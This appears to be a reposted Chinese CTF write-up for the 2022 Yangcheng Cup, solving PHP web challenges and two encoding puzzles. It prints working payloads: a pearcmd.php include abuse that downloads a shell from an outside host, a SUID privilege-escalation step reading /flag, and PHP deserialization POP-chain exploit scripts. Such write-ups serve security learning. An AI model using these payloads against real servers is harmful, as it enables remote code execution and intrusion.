2022羊城杯竞赛 Web题目解析
2022-9-21 18:0:43 Author: 看雪学苑(查看原文) 阅读量:26 收藏


本文为看雪论坛优秀文章

看雪论坛作者ID:ArT1_

rce_me

题目给了源码。

<?php(empty($_GET["file"])) ?highlight_file(__FILE__) : $file=$_GET["file"];functionfliter($var): bool{ $blacklist=["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];     foreach($blacklistas$blackword){       if(stristr($var, $blackword)) returnFalse;}returnTrue;}if(fliter($_SERVER["QUERY_STRING"])){include$file;}else{die("Noooo0");}

题目提示要rce,而漏洞的利用点是一个include文件包含。

php环境限制了allow_url_include,所以能getshell的data和php://input都无法使用。

直接包含flag回显权限不够,所以考虑rce提权。

黑名单其实提供了一点线索,暗示本题通过pearcmd实现RCE。

首先需要确认是否存在pearcmd.php文件,尝试包含,发现在当前目录和/usr/local/lib/php/目录下都存在pearcmd.php。

pearcmd的常见思路是写文件getshell。

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php

但是本题做了过滤,file由于是get传参,因此可以url编码绕过pe%61rcmd.php。

但是在写文件时却不能采用此方法,$_SERVER["QUERY_STRING"]并没有提供url解码的功能,而且将<?编码会导致文件不能将代码识别为php而失败。

所以要转变一下思路,pearcmd.php的用法有很多,其中download可以下载文件,而且不经过include意味着不受allow_url_include的影响,因此可以实现远程文件下载。

payload:

http://80.endpoint-de4ae4b3e84d47a8b1eea291004b34a0.dasc.buuoj.cn:81&&+download+http://ip:port/shell.php

利用一句话木马反弹shell,再进行一个suid的提权。

payload:

find / -perm -u=s -type f 2>/dev/null

final payload:

/usr/bin/date -f /flag

step_by_step-v3

<?phperror_reporting(0);classyang{public$y1;//$y1 = new bei()                            $y1 = new cheng() publicfunction__construct(){    $this->y1->magic();//访问 __call()} publicfunction__tostring(){    ($this->y1)();//          phpinfo()} publicfunctionhint(){    include_once('hint.php');    if(isset($_GET['file']))    {        $file=$_GET['file'];        if(preg_match("/$hey_mean_then/is", $file))        {            die("nonono");        }        include_once($file);    }}} classcheng{public$c1;//$c1 = new yang() publicfunction__wakeup(){    $this->c1->flag='flag';} publicfunction__invoke(){    $this->c1->hint();//hint}} classbei{public$b1;//$b1 = new yang()public$b2; publicfunction__set($k1,$k2)  //不可访问的变量赋值{    print$this->b1;} publicfunction__call($n1,$n2){    echo$this->b1;}} if(isset($_POST['ans'])) {unserialize($_POST['ans']);} else{highlight_file(__FILE__);}?>

利用点在

publicfunction__tostring(){    ($this->y1)();//          phpinfo()}

可以读取到phpinfo。

起始点在cheng::__wakeup。

pop:

cheng::__wakeup ->bei::__set -> yang::__tostring

exp:

<?php// cheng::__wakeup ->bei::__set -> yang::__tostringclassyang{public$y1;publicfunction__construct($y1){    $this->y1=$y1;}}classcheng{public$c1;publicfunction__construct($c1){    $this->c1=$c1;}}classbei{public$b1;publicfunction__construct($b1){    $this->b1=$b1;}} $ya=newcheng(newbei(newyang('phpinfo')));$ser=serialize($ya);echo$ser;echourlencode($ser);?>

Safe pop

<?phperror_reporting(E_ALL);ini_set('display_errors', true);highlight_file(__FILE__);classFun{private$func='call_user_func_array';publicfunction__call($f,$p){    call_user_func($this->func,$f,$p);}publicfunction__wakeup(){    $this->func='';    die("Don't serialize me");}} classTest{publicfunctiongetFlag(){    system("cat /flag?");}publicfunction__call($f,$p){    phpinfo();}publicfunction__wakeup(){    echo"serialize me?";  classA{private$a;publicfunction__get($p){    if(preg_match("/Test/",get_class($this->a))){        return"No test in Prod\n";    }    return$this->a->$p();}} classB{public$p;publicfunction__destruct(){    $p=$this->p;    echo$this->a->$p;}}if(isset($_GET['pop'])){$pop=$_GET['pop'];$o=unserialize($pop);thrownewException("no pop");}

题目给了源码,要构造pop链,最终的目的应该是要调用Test类下的getFlag函数,在反序列化时,会销毁对象,从而会触发__destruct(),而__wakeup() :会在unserialize()时,自动调用,优先级高于destruct。

为了调用Test下的getFlag函数,我们需要用到call_user_func()函数进行构造,而call_user_func()函数由call触发。

__call()//在对象中调用一个不可访问方法时调用

注意到class A有一个

return $this->a->$p();

p可控,只要让他成为一个不可访问的方法即可触发call。

__get() :当从不可访问的属性读取数据。例如从对象外部访问由private和protect修饰的属性,就会调用该方法,其中传递的形参为访问属性的属性名

class B有一个调用类的功能,由此来触发class A,class中的destruct又可以由反序列化直接触发,于是就形成了一条完整的链子。

$this->a->$p;

pop:

b::__destruct() -> a::__get() -> Fun::__call() -> Test::getFlag

exp:

<?phpclass Fun{ }class A{public $a;public function __construct($a){ $this -> a = $a;}}class B{public $p;public $a;public function __construct($p,$a){ $this -> p = $p; $this -> a = $a;}} $b = new B(new A(new Fun()),"Test::getFlag");echo serialize($b);$arr = array($b,null);$serstr = serialize($arr);$serstr = str_replace(":0:{}", ":1:{}", $serstr);$serstr = str_replace(":1;N", ":0;N", $serstr);echo $serstr;echo '<br/>';echo urlencode($serstr);?>

这道题目的难点在于他还抛出了一个exception异常,导致程序无法正常结束,从而无法触发CG回收机制,也就无法触发destruct方法。

throw new Exception("no pop");

这里可以用array数组手动释放对象,从而触发CG回收,只需要把array1的下标更改为0,就会覆盖array0的实例对象。

关于php的CG回收机制(https://pankas.top/2022/08/04/php(phar),这篇文章做了很详细的描述:

https://pankas.top/2022/08/04/php(phar)%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E5%90%84%E7%A7%8D%E7%BB%95%E8%BF%87%E5%A7%BF%E5%8A%BF/)

签到

给了一段编码。

值得注意的是文件名33.txt。

ZMJTPM33TMFGPA3STZ2JVBYSZRMGBZELT44QDLEET5GQTMEITIFJZZOMTH4K2===

这段编码就是base32没有问题,但是解出来却是乱码,于是考虑第二3指代什么。

尝试rot13先解一次码,再base32成功得到flag。

where_is_secret

给了一张图片,并在hint中给了encode脚本。

fromPILimportImageimportmath  defencode(text):str_len= len(text)width= math.ceil(str_len**0.5) #长度的一半,并向上取整im= Image.new("RGB", (width, width), 0x0)  #新建一张图 x, y= 0, 0foriintext:    index= ord(i)  #转化为数字    rgb= (0, (index&0xFF00) >>8, index&0xFF)    im.putpixel((x, y), rgb)    ifx== width-1:        x= 0        y+= 1    else:        x+= 1returnim  if__name__== '__main__':withopen("829962.txt", encoding="gbk") asf:  #以gbk的方式打开()    all_text= f.read()    im= encode(all_text)    im.save("out.bmp")

分析来看就是把文件内容gbk编码,把大于0xff的部分缩小8倍放到图片的g里,小于0xff的部分放到图片的b里。

exp:

fromPILimportImageimg= Image.open('out.bmp')x, y= img.sizeflag= ""flag1= ""withopen('ans.txt') asf:foriinrange(x):    forjinrange(y):        pix= img.getpixel((j, i))        index= (pix[1] <<8) +pix[2]        flag= flag+chr(index)# print(flag)foriinrange(1, len(flag)-1):print(flag[i]) if(((ord(flag[i])<=125andord(flag[i])>=97) or(ord(flag[i])<=57andord(flag[i])>=48)or(ord(flag[i])<=95andord(flag[i])>=65))and(ord(flag[i+1])>125orord(flag[i+1])<48) and(ord(flag[i-1])>125orord(flag[i-1])<48) orord(flag[i])==95):    flag1= flag1+"@"+flag[i-1] +flag[i] +flag[i+1]print(flag1)

得到的是一段中文,在里面穿插了flag。

由于有原来文本中的数字和字母,这里考虑把有可能的字母数字提取出来,以@为分隔符,根据前后判断人为筛选一遍。

关于pop的部分,之后会再做一个比较详细的整理。

看雪ID:ArT1_

https://bbs.pediy.com/user-home-955273.htm

*本文由看雪论坛 ArT1_ 原创,转载请注明来自看雪社区

长按图片,扫码报名参会

最后2天!早鸟票即将截止

# 往期推荐

1.CVE-2020-1054提权漏洞学习笔记

2.逆向分析sign算法

3.CVE-2021-38001漏洞利用

4.Frida-objection 基础使用获取FLAG

5.“羊了个羊”通关修改思路

6.CVE-2013-3660提权漏洞学习笔记

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458470815&idx=1&sn=e3b1f30be482eac6852aea28e1b4cf91&chksm=b18e791586f9f00377d2275ff77b44bb386646d14e28065e110a0bcdeba1b0c05247ab3e31f5#rd
如有侵权请联系:admin#unsafe.sh